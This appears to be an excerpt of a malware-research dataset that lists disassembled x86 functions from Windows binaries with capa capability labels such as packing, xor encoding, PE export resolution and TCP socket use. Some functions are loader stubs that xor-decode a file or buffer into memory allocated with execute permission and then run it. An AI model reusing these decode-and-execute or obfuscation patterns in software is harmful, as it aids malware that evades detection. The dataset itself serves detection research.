joyce8/EMBER2024-capa huggingface dataset:
Function at 0x92bbb0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, 0x67200d
lea edi, [esi - 0x27100d]
push edi
or ebp, 0xffffffff
jmp 0x92bbd2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x92bbd9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x92bbc8
mov eax, 1
add ebx, ebx
jne 0x92bbeb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x92bbe0
jne 0x92bbfc
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x92bbe0
xor ecx, ecx
sub eax, 3
jb 0x92bc10
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x92bc82
mov ebp, eax
add ebx, ebx
jne 0x92bc1b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x92bc28
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x92bc4c
inc ecx
add ebx, ebx
jne 0x92bc38
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x92bc2d
jne 0x92bc49
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x92bc2d
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x92bc6c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x92bc5d
jmp 0x92bbce
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x92bc6c
add edi, ecx
jmp 0x92bbce
pop esi
mov edi, esi
mov ecx, 0x184b
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x92bc8a
cmp byte [edi], 0x11
jne 0x92bc8a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x92bc8f
lea edi, [esi + 0x527000]
mov eax, dword [edi]
or eax, eax
je 0x92bcfe
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x5330d4]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x53312c]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x92bcbc
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x533134]
or eax, eax
je 0x92bcf8
mov dword [ebx], eax
add ebx, 4
jmp 0x92bcd9
call dword [esi + 0x533130]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x92bd2f
cmp al, 0xef
ja 0x92bd22
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x92bd04
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x92bd11
mov ebp, dword [esi + 0x533138]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x197]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x92bd63
sub esp, 0xffffff80
jmp 0x40f16c

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x1004a11c
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
pushal
call 0x1004a12b
pop dword [ebp - 0xc]
mov eax, 0x6e46e7a3
add eax, 0xa1bdb988
sub dword [ebp - 0xc], eax
mov dword [ebp - 0x1c], 0x90be8170
sub dword [ebp - 0x1c], 0x426c3c25
mov dword [ebp - 0x18], 0xce82696d
sub dword [ebp - 0x18], 0x9c4f1d28
mov dword [ebp - 0x14], 0x4a070b46
sub dword [ebp - 0x14], 0xfdbac718
mov dword [ebp - 0x10], 0xf8126d33
add dword [ebp - 0x10], 0x7ed92cd
lea eax, [ebp - 0x1c]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0xc]
call dword [eax]
mov dword [ebp - 0x1c], 0x8a56653c
sub dword [ebp - 0x1c], 0x15e3fbe6
mov dword [ebp - 0x18], 0x3d17294c
sub dword [ebp - 0x18], 0xfbaac7d7
mov dword [ebp - 0x14], 0x983f3e3e
add dword [ebp - 0x14], 0xcb302e2e
mov dword [ebp - 0x10], 0xad2a65cf
sub dword [ebp - 0x10], 0xad2a65cf
lea ebx, [ebp - 0x1c]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0xc]
call dword [eax]
push 0x40
push 0x1000
push 0x602b2
push 0
call eax
mov ecx, 0x52ab
xor esi, esi
add esi, eax
mov edx, 0x10069400
add edx, dword [ebp - 0xc]
mov edi, 0x38cb5041
sub edi, 0x40a811d0
xor dword [ebp - 8], edi
mov ebx, dword [edx]
add ebx, edi
xor dword [ebp - 4], eax
mov dword [esi], ebx
xor dword [ebp - 8], 0x8202562a
add esi, 4
add edx, 0x3cf84b75
sub edx, 0x3cf84b71
loop 0x1004a239
add eax, 0x13d7f
xor ebx, ebx
add ebx, eax
add eax, 0x305544d2
add eax, 0xcfaabb33
mov ecx, 0x1fa09840
sub ecx, 0xfa09840
add ecx, dword [ebp - 0xc]
call ebx
leave
ret

Function at 0x40918f
Capabilities:
Encode data using xor

Disassembly:
mov ch, 0x43
inc eax
pop esi
xor dword [esi + 0xe], 0xa55f2cde
sub esi, 0xfffffffc
loop 0x409192
in eax, 0x5e
movsd dword es:[edi], dword [esi]
faddp st(4)
mov al, byte [0x9ed3215a]
sti
out dx, al
pushal
push ecx
mov byte [0xf50dd63c], al
lea edi, [edi - 0x4e]
mov dword [0xf45624d9], eax
push esi
jecxz 0x409166
cld
mov gs, word [edi + 0x1c]
in eax, dx
xchg esi, eax
push edx
dec edx
jmp 0x3e888614
Function at 0x401908
Capabilities:
Manipulate console buffer

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov al, byte [ebp + 8]
cmp al, 7
jb 0x40195d
sub al, 7
je 0x4019d1
dec al
je 0x40192b
sub al, 2
je 0x401955
sub al, 3
je 0x401947
jmp 0x40195d
mov eax, dword [0x406230]
cmp eax, dword [0x4061b0]
jle 0x4019d1
dec dword [0x406230]
jmp 0x4019d1
mov edi, dword [0x4061b0]
mov dword [0x406230], edi
jmp 0x4019d1
inc dword [0x406220]
jmp 0x4019d1
mov word [ebp - 8], 1
mov word [ebp - 6], 1
mov word [ebp - 0xc], 0
mov word [ebp - 0xa], 0
movzx ax, byte [ebp + 8]
mov word [ebp - 4], ax
movzx ax, byte [0x406170]
mov word [ebp - 2], ax
mov eax, dword [0x406230]
dec eax
mov word [ebp - 0x14], ax
mov eax, dword [0x406220]
dec eax
mov word [ebp - 0x12], ax
mov eax, dword [0x406230]
dec eax
mov word [ebp - 0x10], ax
mov eax, dword [0x406220]
dec eax
mov word [ebp - 0xe], ax
lea edi, [ebp - 0x14]
push edi
push dword [ebp - 0xc]
push dword [ebp - 8]
lea eax, [ebp - 4]
push eax
push dword [0x4060e0]
call sub.kernel32.dll_WriteConsoleOutputA
inc dword [0x406230]
mov eax, dword [0x406230]
cmp eax, dword [0x4061d0]
jle 0x4019ff
mov edi, dword [0x4061b0]
mov dword [0x406230], edi
inc dword [0x406220]
jmp 0x4019ff
push 1
call fcn.00401af8
dec dword [0x406220]
mov eax, dword [0x406220]
cmp eax, dword [0x4061e0]
jg 0x4019f2
leave
ret 4
Function at 0x10001193
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, str.dpmmBmbvusjWfmjGebfSfmjGfubfsDXfuvdfyFmmfiT
push edi
mov eax, esi
call fcn.1000117f
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
xor ebx, ebx
push str.shell32.dll
mov byte [0x10003029], bl
mov byte [0x10003034], bl
mov byte [0x1000303d], bl
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push 0x10003035
push str.kernel32.dll
mov dword [ebp - 4], eax
call esi
push eax
call edi
push 0x1000303e
push str.kernel32.dll
mov dword [ebp - 8], eax
call esi
push eax
call edi
push 1
push ebx
push ebx
push 0x10002058
push ebx
push ebx
mov edi, eax
call dword [ebp - 4]
push ebx
push 0x80
push 3
push ebx
push 1
push 0x80000000
push str.desktop.ini
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [0x10003060], eax
cmp eax, 0xffffffff
je 0x100013f5
push 0x40
mov esi, 0x1000
push esi
push esi
push ebx
call edi
push ebx
push 0x10003064
push esi
push eax
push dword [0x10003060]
mov dword [0x1000305c], eax
call dword [ebp - 8]
mov eax, dword [0x1000305c]
mov cl, byte [eax]
push eax
xor bx, si
xor bx, si
btc esi, 0x8d
xor dx, 0xf73
xor dx, 0x7cc5
xor dx, 0xae7
xor dx, 0x7951
btc esi, 0x8d
ror si, 2
rol si, 2
pop eax
xor bx, 0x1fdd
xor bx, 0xfe35
xor bx, 0xa079
xor bx, 0x4191
push eax
xor bp, bx
xor bp, bx
ror bl, 0x3f
test di, bx
rol bl, 0x3f
xor dx, 0xf37d
xor dx, 0xef5d
xor dx, 0xbe3c
xor dx, 0xa21c
pop eax
rol di, 0x7e
ror di, 0x7e
push eax
xor dx, ax
xor dx, ax
test bp, cx
xor bx, bp
movzx ecx, cl
xor ecx, 0x4e
push eax
xor bx, si
xor bx, si
btc esi, 0x8d
xor dx, 0xf73
xor dx, 0x7cc5
xor dx, 0xae7
xor dx, 0x7951
btc esi, 0x8d
ror si, 2
rol si, 2
pop eax
xor bx, 0x1fdd
xor bx, 0xfe35
xor bx, 0xa079
xor bx, 0x4191
push eax
xor bp, bx
xor bp, bx
ror bl, 0x3f
test di, bx
rol bl, 0x3f
xor dx, 0xf37d
xor dx, 0xef5d
xor dx, 0xbe3c
xor dx, 0xa21c
pop eax
rol di, 0x7e
ror di, 0x7e
push eax
xor dx, ax
xor dx, ax
test bp, cx
xor bx, bp
xor esi, esi
cmp dword [0x10003064], esi
jbe 0x10001375
mov eax, dword [0x1000305c]
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003064]
jb 0x1000135c
push eax
xor bx, si
xor bx, si
btc esi, 0x8d
xor dx, 0xf73
xor dx, 0x7cc5
xor dx, 0xae7
xor dx, 0x7951
btc esi, 0x8d
ror si, 2
rol si, 2
pop eax
xor bx, 0x1fdd
xor bx, 0xfe35
xor bx, 0xa079
xor bx, 0x4191
push eax
xor bp, bx
xor bp, bx
ror bl, 0x3f
test di, bx
rol bl, 0x3f
xor dx, 0xf37d
xor dx, 0xef5d
xor dx, 0xbe3c
xor dx, 0xa21c
pop eax
rol di, 0x7e
ror di, 0x7e
push eax
xor dx, ax
xor dx, ax
test bp, cx
xor bx, bp
call dword [0x1000305c]
pop edi
pop esi
pop ebx
leave
ret 0x10

Function at 0x62c5af38
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0x74154317
jmp 0x62c5dd80
lea esp, [esp + 0x48]
je 0x62c5bb77
shrd edx, esi, cl
mov esi, dword [eax + 0x3c]
bswap edx
pushfd
jmp 0x62c8ec5e
xor dh, 0x6f
add esi, eax
bts edx, edx
mov edx, dword [esi + 0x78]
call fcn.62c8f3f1
Function at 0x405d34
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
xor edx, edx
mov dword [ebp - 0x10], edx
xor edx, edx
push ebp
push 0x405d9a
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 0xb]
push edx
push 0x1004
push eax
call sub.kernel32.dll_GetLocaleInfoA
lea eax, [ebp - 0x10]
lea edx, [ebp - 0xb]
mov ecx, 7
call fcn.004044e4
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 4]
call fcn.00402fa8
mov ebx, eax
cmp dword [ebp - 4], 0
je 0x405d84
xor ebx, ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x405da1
lea eax, [ebp - 0x10]
call fcn.00404274
ret

Function at 0x40789c
Capabilities:
Set file attributes

Disassembly:
push ebx
push esi
push edi
mov edi, edx
mov esi, eax
xor ebx, ebx
push edi
mov eax, esi
call fcn.00404734
push eax
call sub.kernel32.dll_SetFileAttributesA
test eax, eax
jne 0x4078be
call sub.kernel32.dll_GetLastError
mov ebx, eax
mov eax, ebx
pop edi
pop esi
pop ebx
ret

Function at 0x40a0e0
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push pe_nt_image_headers32
lea ecx, [ebp - 0x100]
push ecx
push edx
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x40a119
mov ecx, eax
dec ecx
lea edx, [ebp - 0x100]
mov eax, ebx
call fcn.00404364
jmp 0x40a122
mov eax, ebx
mov edx, esi
call fcn.004042c8
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x40a12c
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
push ecx
mov ebx, ecx
mov esi, edx
mov edi, eax
push 2
lea eax, [esp + 4]
push eax
push esi
push edi
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x40a14d
mov al, byte [esp]
jmp 0x40a14f
mov eax, ebx
pop edx
pop edi
pop esi
pop ebx
ret

Function at 0x40b5a8
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
xor edx, edx
mov dword [ebp - 0xc], edx
xor edx, edx
push ebp
push 0x40b60c
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 7]
push edx
push 0x1004
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
lea eax, [ebp - 0xc]
lea edx, [ebp - 7]
mov ecx, 7
call fcn.004044e4
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_GetACP
mov edx, eax
pop eax
call fcn.00407594
mov ebx, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40b613
lea eax, [ebp - 0xc]
call fcn.00404274
ret
Function at 0x2cf3700
Capabilities:
Decompress data using aplib

Disassembly:
pushal
mov esi, dword [esp + 0x24]
mov edi, dword [esp + 0x28]
cld
mov dl, 0x80
xor ebx, ebx
movsb byte es:[edi], byte [esi]
mov bl, 2
call fcn.02cf378f
jae 0x2cf370e
xor ecx, ecx
call fcn.02cf378f
jae 0x2cf373d
xor eax, eax
call fcn.02cf378f
jae 0x2cf374d
mov bl, 2
inc ecx
mov al, 0x10
call fcn.02cf378f
adc al, al
jae 0x2cf372f
jne 0x2cf3779
stosb byte es:[edi], al
jmp 0x2cf3711
call fcn.02cf379b
sub ecx, ebx
jne 0x2cf3756
call fcn.02cf3799
jmp 0x2cf3775
lodsb al, byte [esi]
shr eax, 1
je 0x2cf3783
adc ecx, ecx
jmp 0x2cf3772
xchg ecx, eax
dec eax
shl eax, 8
lodsb al, byte [esi]
call fcn.02cf3799
cmp eax, 0x7d00
jae 0x2cf3772
cmp ah, 5
jae 0x2cf3773
cmp eax, 0x7f
ja 0x2cf3774
inc ecx
inc ecx
xchg ebp, eax
mov eax, ebp
mov bl, 1
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x2cf3711
sub edi, dword [esp + 0x28]
mov dword [esp + 0x1c], edi
popal
ret 8
Function at 0x4072e5
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 0xc]
xor eax, eax
mov edx, eax
push esi
mov esi, dword [ebp + 8]
and ecx, 0xfffffffc
jbe 0x407329
rol eax, 5
xor eax, dword [edx + esi]
add edx, 4
imul eax, eax, 0x9e3779b9
rol eax, 5
xor eax, 4
imul eax, eax, 0x9e3779b9
cmp edx, ecx
jb 0x4072f8
jmp 0x407329
movsx ecx, byte [edx + esi]
rol eax, 5
xor eax, ecx
imul eax, eax, 0x9e3779b9
inc edx
cmp edx, dword [ebp + 0xc]
jb 0x407319
pop esi
pop ebp
ret

Function at 0x407db7
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
push 1
lea esi, [ebx - 1]
push 0x2000
not esi
push ebx
and esi, 0xf0deafff
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
cmp edi, esi
jne 0x407dec
mov eax, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
cmp esi, dword [ebp - 0x18]
jb 0x407e16
lea eax, [esi + ebx]
cmp eax, dword [ebp - 0x18]
jb 0x407e16
test edi, edi
je 0x407de3
push 0x8000
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x407de3
test edi, edi
je 0x407e1e
mov eax, edi
jmp 0x407de5
push 1
push 0x2000
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
test eax, eax
jne 0x407de5
int3
Function at 0x40a348
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [ebp - 8]
push eax
mov dword [sym.TestEnumeratedArray.exe_gMozillaPoisonSize], eax
call fcn.00407db7
pop ecx
mov ecx, dword [sym.TestEnumeratedArray.exe_gMozillaPoisonSize]
mov dword [sym.TestEnumeratedArray.exe_gMozillaPoisonBase], eax
test ecx, ecx
je 0x40a380
shr ecx, 1
dec ecx
add eax, ecx
mov dword [sym.TestEnumeratedArray.exe_gMozillaPoisonValue], eax
mov esp, ebp
pop ebp
ret
Function at 0x404dc0
Capabilities:
Get socket status

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x22c
mov eax, dword [0x4d516c]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
mov dword [ebp - 0x110], 0
mov dword [ebp - 0x22c], 0
jmp 0x404dfa
mov eax, dword [ebp - 0x22c]
add eax, 1
mov dword [ebp - 0x22c], eax
mov ecx, dword [ebp - 0x22c]
cmp ecx, dword [ebp - 0x110]
jae 0x404e1e
mov edx, dword [ebp - 0x22c]
mov eax, dword [ebp + edx*4 - 0x10c]
cmp eax, dword [ebp + 8]
jne 0x404e1c
jmp 0x404e1e
jmp 0x404deb
mov ecx, dword [ebp - 0x22c]
cmp ecx, dword [ebp - 0x110]
jne 0x404e54
cmp dword [ebp - 0x110], 0x40
jae 0x404e54
mov edx, dword [ebp - 0x22c]
mov eax, dword [ebp + 8]
mov dword [ebp + edx*4 - 0x10c], eax
mov ecx, dword [ebp - 0x110]
add ecx, 1
mov dword [ebp - 0x110], ecx
xor edx, edx
jne 0x404ddf
mov ecx, 0x41
lea esi, [ebp - 0x110]
lea edi, [ebp - 0x228]
rep movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x118], 0
mov dword [ebp - 0x114], 0
lea eax, [ebp - 0x118]
push eax
lea ecx, [ebp - 0x228]
push ecx
lea edx, [ebp - 0x110]
push edx
push 0
push 0
call dword [sym.imp.WS2_32.dll_select]
mov dword [ebp - 0x11c], eax
cmp dword [ebp - 0x11c], 0
jge 0x404eb4
or eax, 0xffffffff
jmp 0x404ee2
cmp dword [ebp - 0x11c], 0
jne 0x404ec3
xor eax, eax
jmp 0x404ee2
lea eax, [ebp - 0x228]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.WS2_32.dll___WSAFDIsSet]
test eax, eax
je 0x404edd
or eax, 0xffffffff
jmp 0x404ee2
mov eax, 2
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00480a0c
mov esp, ebp
pop ebp
ret

Function at 0x404f00
Capabilities:
Get socket status

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x22c
mov eax, dword [0x4d516c]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
mov dword [ebp - 0x110], 0
mov dword [ebp - 0x22c], 0
jmp 0x404f3a
mov eax, dword [ebp - 0x22c]
add eax, 1
mov dword [ebp - 0x22c], eax
mov ecx, dword [ebp - 0x22c]
cmp ecx, dword [ebp - 0x110]
jae 0x404f5e
mov edx, dword [ebp - 0x22c]
mov eax, dword [ebp + edx*4 - 0x10c]
cmp eax, dword [ebp + 8]
jne 0x404f5c
jmp 0x404f5e
jmp 0x404f2b
mov ecx, dword [ebp - 0x22c]
cmp ecx, dword [ebp - 0x110]
jne 0x404f94
cmp dword [ebp - 0x110], 0x40
jae 0x404f94
mov edx, dword [ebp - 0x22c]
mov eax, dword [ebp + 8]
mov dword [ebp + edx*4 - 0x10c], eax
mov ecx, dword [ebp - 0x110]
add ecx, 1
mov dword [ebp - 0x110], ecx
xor edx, edx
jne 0x404f1f
mov ecx, 0x41
lea esi, [ebp - 0x110]
lea edi, [ebp - 0x228]
rep movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x118], 0
mov dword [ebp - 0x114], 0
lea eax, [ebp - 0x118]
push eax
lea ecx, [ebp - 0x228]
push ecx
push 0
lea edx, [ebp - 0x110]
push edx
push 0
call dword [sym.imp.WS2_32.dll_select]
mov dword [ebp - 0x11c], eax
cmp dword [ebp - 0x11c], 0
jge 0x404ff4
or eax, 0xffffffff
jmp 0x405022
cmp dword [ebp - 0x11c], 0
jne 0x405003
xor eax, eax
jmp 0x405022
lea eax, [ebp - 0x228]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.WS2_32.dll___WSAFDIsSet]
test eax, eax
je 0x40501d
or eax, 0xffffffff
jmp 0x405022
mov eax, 1
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00480a0c
mov esp, ebp
pop ebp
ret
Function at 0x405040
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
cmp dword [ebp + 8], 0
je 0x405055
cmp dword [ebp + 8], 0x4c2230
jne 0x405059
xor eax, eax
jmp 0x405097
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x405095
mov ecx, dword [ebp - 4]
movsx edx, word [ecx + 8]
mov dword [ebp - 8], edx
cmp dword [ebp - 8], 2
je 0x40507e
jmp 0x405095
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 0xc]
cmp dword [ecx], 0
je 0x405095
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax]
mov eax, dword [ecx]
jmp 0x405097
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x405d00
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x4d516c]
xor eax, ebp
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x20], ecx
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp + 8]
mov dword [eax + 8], ecx
movzx edx, word [ebp + 0xc]
push edx
call dword [sym.imp.WS2_32.dll_htons]
mov ecx, dword [ebp - 0x20]
mov word [ecx + 0xc], ax
mov edx, dword [ebp - 0x20]
cmp dword [edx + 4], 0xffffffff
je 0x405d44
mov eax, dword [ebp - 0x20]
mov ecx, dword [eax + 4]
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov edx, dword [ebp - 0x20]
mov dword [edx + 4], eax
mov eax, dword [ebp - 0x20]
cmp dword [eax + 4], 0xffffffff
jne 0x405d71
mov dword [0x4d80a0], 0x80030000
or eax, 0xffffffff
jmp 0x405e1e
mov dword [ebp - 8], 1
lea ecx, [ebp - 8]
push ecx
push 0x8004667e
mov edx, dword [ebp - 0x20]
mov eax, dword [edx + 4]
push eax
call dword [sym.imp.WS2_32.dll_ioctlsocket]
cmp eax, 0xffffffff
jne 0x405db9
mov ecx, dword [ebp - 0x20]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x20]
mov eax, dword [edx + 0x10]
call eax
mov ecx, dword [ebp - 0x20]
mov dword [ecx + 4], 0xffffffff
mov dword [0x4d80a0], 0x80050000
or eax, 0xffffffff
jmp 0x405e1e
xor edx, edx
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x14], edx
mov dword [ebp - 0x10], edx
mov eax, 2
mov word [ebp - 0x1c], ax
mov ecx, dword [ebp - 0x20]
mov dx, word [ecx + 0xc]
mov word [ebp - 0x1a], dx
mov eax, dword [ebp - 0x20]
mov ecx, dword [eax + 8]
mov dword [ebp - 0x18], ecx
push 0x10
lea edx, [ebp - 0x1c]
push edx
mov eax, dword [ebp - 0x20]
mov ecx, dword [eax + 4]
push ecx
call dword [sym.imp.WS2_32.dll_connect]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
jne 0x405e1c
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
je 0x405e1c
mov dword [0x4d80a0], 0x80040000
or eax, 0xffffffff
jmp 0x405e1e
xor eax, eax
mov ecx, dword [ebp - 0xc]
xor ecx, ebp
call fcn.00480a0c
mov esp, ebp
pop ebp
ret 8
Function at 0x405e30
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 0xc], ecx
mov eax, dword [ebp - 0xc]
cmp dword [eax + 4], 0xffffffff
je 0x405e4e
cmp dword [ebp + 8], 0
je 0x405e4e
cmp dword [ebp + 0xc], 0
jne 0x405e5d
mov dword [0x4d80a0], 0x80060000
or eax, 0xffffffff
jmp 0x405ed1
mov ecx, dword [ebp - 0xc]
mov edx, dword [ecx + 4]
push edx
call fcn.00404dc0
add esp, 4
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x405e7b
xor eax, eax
jmp 0x405ed1
cmp dword [ebp - 8], 0xffffffff
jne 0x405e90
mov dword [0x4d80a0], 0x80080000
or eax, 0xffffffff
jmp 0x405ed1
mov dword [ebp - 4], 0xffffffff
push 0
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 0xc]
mov eax, dword [edx + 4]
push eax
call dword [sym.imp.WS2_32.dll_send]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
jne 0x405ece
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
je 0x405ece
mov dword [0x4d80a0], 0x80070000
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret 8

Function at 0x405ee0
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 0xc], ecx
mov eax, dword [ebp - 0xc]
cmp dword [eax + 4], 0xffffffff
je 0x405ef8
cmp dword [ebp + 8], 0
jne 0x405f07
mov dword [0x4d80a0], 0x80090000
or eax, 0xffffffff
jmp 0x405f7d
mov ecx, dword [ebp - 0xc]
mov edx, dword [ecx + 4]
push edx
call fcn.00404f00
add esp, 4
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x405f25
xor eax, eax
jmp 0x405f7d
cmp dword [ebp - 8], 0xffffffff
jne 0x405f3a
mov dword [0x4d80a0], 0x800b0000
or eax, 0xffffffff
jmp 0x405f7d
push 0
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 0xc]
mov eax, dword [edx + 4]
push eax
call dword [sym.imp.WS2_32.dll_recv]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
jne 0x405f7a
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
jne 0x405f70
mov dword [ebp - 4], 0
jmp 0x405f7a
mov dword [0x4d80a0], 0x800a0000
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret 8